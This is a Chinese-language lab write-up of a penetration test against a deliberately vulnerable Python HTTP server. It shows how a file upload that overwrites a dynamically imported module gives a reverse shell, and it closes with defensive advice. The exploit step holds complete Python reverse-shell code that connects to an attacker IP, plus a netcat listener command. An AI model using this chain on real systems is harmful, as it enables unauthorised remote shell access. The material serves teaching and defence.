Directory Listing到获取服务器权限
字数 1689 2025-08-29 08:32:00

通过Directory Listing漏洞获取服务器权限的渗透测试教学

0x00 漏洞环境概述

本教学基于一个存在Directory Listing漏洞的Python服务器环境,通过分析服务器代码和功能接口,最终实现服务器权限获取的全过程。

环境搭建

  1. 使用Docker搭建漏洞环境:
git clone https://github.com/b1ngz/vul-py-server.git
cd vul-py-server
docker build -t vul-py-server .
docker run -d --name=vul-py -p 127.0.0.1:30000:9080 vul-py-server
  1. 环境包含的主要文件:
  • httpServer.py:核心服务器代码(Python2 SimpleHTTPServer)
  • log.txt:服务器输出日志
  • showDump.py:被导入的Python模块
  • upload.html:文件上传页面

0x01 服务器接口分析

1. GET /reload

  • 功能:执行server_path/bin/update_and_reload.sh脚本
  • 代码关键点:
fileObj = os.popen('sh %s bin/update_and_reload.sh 2>&1' % (server_path,))

2. GET /real_time_log?

  • 功能:读取server_path/log/log.{logName}文件内容
  • 代码关键点:
logName = self.path.split('=')[1]
finename = server_path + 'log/log.' + logName
fileobj = open(finename)

3. GET /del_file_list?

  • 功能:列出指定目录下的文件
  • 代码关键点:
currpath = self.path[self.path.index("?")+1:]
absCurrPath = os.path.join(WorkDir, currpath)
itemlist = os.listdir(absCurrPath)

4. GET /del_file?

  • 功能:删除指定文件或目录
  • 代码关键点:
currpath = self.path[self.path.index("?")+1:]
absCurrPath = os.path.join(WorkDir, currpath)
os.remove(absCurrPath)  # 或 os.rmdir(absCurrPath)

5. GET /show_dump

  • 功能:动态导入并执行showDump.py中的函数
  • 代码关键点:
from showDump import show_dump
show_dump('hello', 'world')

6. POST /upload.html

  • 功能:文件上传接口
  • 代码关键点:
filename = form['fname'].filename
savename = form['newname'].value if 'newname' in form else filename
filepath = os.path.join(path, savename)
savefile = open(filepath, 'wb')
savefile.write(filedata)

0x02 漏洞利用思路分析

初始评估

  1. 权限限制:
  • 当前用户为www
  • /home/dev/目录属于dev用户,www无写权限
  1. 可利用点:
  • 文件上传功能(路径和文件名可控)
  • 动态导入Python模块功能
  • 文件删除和目录遍历功能

尝试过的利用方式

  1. 覆盖shell脚本
  • 尝试覆盖/home/dev/bin/update_and_reload.sh
  • 失败原因:权限不足(Permission denied)
  1. 路径遍历读取文件
  • 尝试通过/real_time_log?接口读取系统文件
  • 失败原因:路径拼接方式限制,无法使用../遍历
  1. 覆盖主服务器文件
  • 尝试覆盖httpServer.py
  • 失败原因:代码已加载到内存,需要重启才能生效

成功利用方式:覆盖Python模块

  1. 利用点:
  • /show_dump接口每次请求都会重新导入showDump.py
  • 上传功能可以覆盖showDump.py文件
  1. 关键优势:
  • 动态导入机制允许热更新模块
  • 保持函数签名不变,内部代码可任意修改

0x03 漏洞利用步骤

1. 准备恶意Python模块

创建showDump.py反弹shell代码:

# -*- coding: utf-8 -*-
import os
import socket
import subprocess

ip = "攻击者IP"
port = 12345

def show_dump(dumpWorkDir, dumpfile):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/sh", "-i"])

2. 上传恶意文件

通过upload.html上传文件:

  • 选择准备好的showDump.py文件
  • 在"newname"字段填写showDump.py(覆盖原文件)

3. 设置监听

在攻击机器上设置netcat监听:

nc -v -l 12345

4. 触发执行

访问/show_dump接口触发恶意代码执行:

http://127.0.0.1:30000/show_dump

5. 获取shell

成功获取反向shell连接:

$ id
uid=1000(www) gid=1000(www) groups=1000(www)
$ ls -lh /home/www/code

0x04 防御建议

  1. 目录列表
  • 禁用Directory Listing功能
  • 使用索引文件(index.html)替代
  1. 文件上传
  • 限制上传文件类型
  • 设置上传目录不可执行
  • 对上传文件重命名
  1. 动态导入
  • 避免使用动态导入用户可控文件
  • 如需动态加载,应进行严格校验
  1. 权限控制
  • 遵循最小权限原则
  • 服务运行用户不应有敏感目录写权限
  1. 路径处理
  • 规范化所有路径处理
  • 防止目录遍历攻击
  1. 日志监控
  • 监控异常文件修改行为
  • 记录所有文件上传和删除操作

0x05 总结

本案例展示了如何通过Directory Listing漏洞发现服务器敏感文件,分析服务器功能接口,最终利用文件上传和动态导入机制获取服务器权限。关键在于:

  1. 全面分析服务器暴露的功能接口
  2. 理解服务器的工作机制和权限模型
  3. 找到可利用的动态代码执行点
  4. 构造精确的利用代码绕过限制

这种攻击方式虽然技术难度不高,但非常有效,提醒开发人员需要重视基础安全配置和权限管理。

通过Directory Listing漏洞获取服务器权限的渗透测试教学 0x00 漏洞环境概述 本教学基于一个存在Directory Listing漏洞的Python服务器环境,通过分析服务器代码和功能接口,最终实现服务器权限获取的全过程。 环境搭建 使用Docker搭建漏洞环境: 环境包含的主要文件: httpServer.py :核心服务器代码(Python2 SimpleHTTPServer) log.txt :服务器输出日志 showDump.py :被导入的Python模块 upload.html :文件上传页面 0x01 服务器接口分析 1. GET /reload 功能:执行 server_path/bin/update_and_reload.sh 脚本 代码关键点: 2. GET /real_ time_ log? 功能:读取 server_path/log/log.{logName} 文件内容 代码关键点: 3. GET /del_ file_ list? 功能:列出指定目录下的文件 代码关键点: 4. GET /del_ file? 功能:删除指定文件或目录 代码关键点: 5. GET /show_ dump 功能:动态导入并执行 showDump.py 中的函数 代码关键点: 6. POST /upload.html 功能:文件上传接口 代码关键点: 0x02 漏洞利用思路分析 初始评估 权限限制: 当前用户为 www /home/dev/ 目录属于 dev 用户, www 无写权限 可利用点: 文件上传功能(路径和文件名可控) 动态导入Python模块功能 文件删除和目录遍历功能 尝试过的利用方式 覆盖shell脚本 : 尝试覆盖 /home/dev/bin/update_and_reload.sh 失败原因:权限不足( Permission denied ) 路径遍历读取文件 : 尝试通过 /real_time_log? 接口读取系统文件 失败原因:路径拼接方式限制,无法使用 ../ 遍历 覆盖主服务器文件 : 尝试覆盖 httpServer.py 失败原因:代码已加载到内存,需要重启才能生效 成功利用方式:覆盖Python模块 利用点: /show_dump 接口每次请求都会重新导入 showDump.py 上传功能可以覆盖 showDump.py 文件 关键优势: 动态导入机制允许热更新模块 保持函数签名不变,内部代码可任意修改 0x03 漏洞利用步骤 1. 准备恶意Python模块 创建 showDump.py 反弹shell代码: 2. 上传恶意文件 通过 upload.html 上传文件: 选择准备好的 showDump.py 文件 在"newname"字段填写 showDump.py (覆盖原文件) 3. 设置监听 在攻击机器上设置netcat监听: 4. 触发执行 访问 /show_dump 接口触发恶意代码执行: 5. 获取shell 成功获取反向shell连接: 0x04 防御建议 目录列表 : 禁用Directory Listing功能 使用索引文件(index.html)替代 文件上传 : 限制上传文件类型 设置上传目录不可执行 对上传文件重命名 动态导入 : 避免使用动态导入用户可控文件 如需动态加载,应进行严格校验 权限控制 : 遵循最小权限原则 服务运行用户不应有敏感目录写权限 路径处理 : 规范化所有路径处理 防止目录遍历攻击 日志监控 : 监控异常文件修改行为 记录所有文件上传和删除操作 0x05 总结 本案例展示了如何通过Directory Listing漏洞发现服务器敏感文件,分析服务器功能接口,最终利用文件上传和动态导入机制获取服务器权限。关键在于: 全面分析服务器暴露的功能接口 理解服务器的工作机制和权限模型 找到可利用的动态代码执行点 构造精确的利用代码绕过限制 这种攻击方式虽然技术难度不高,但非常有效,提醒开发人员需要重视基础安全配置和权限管理。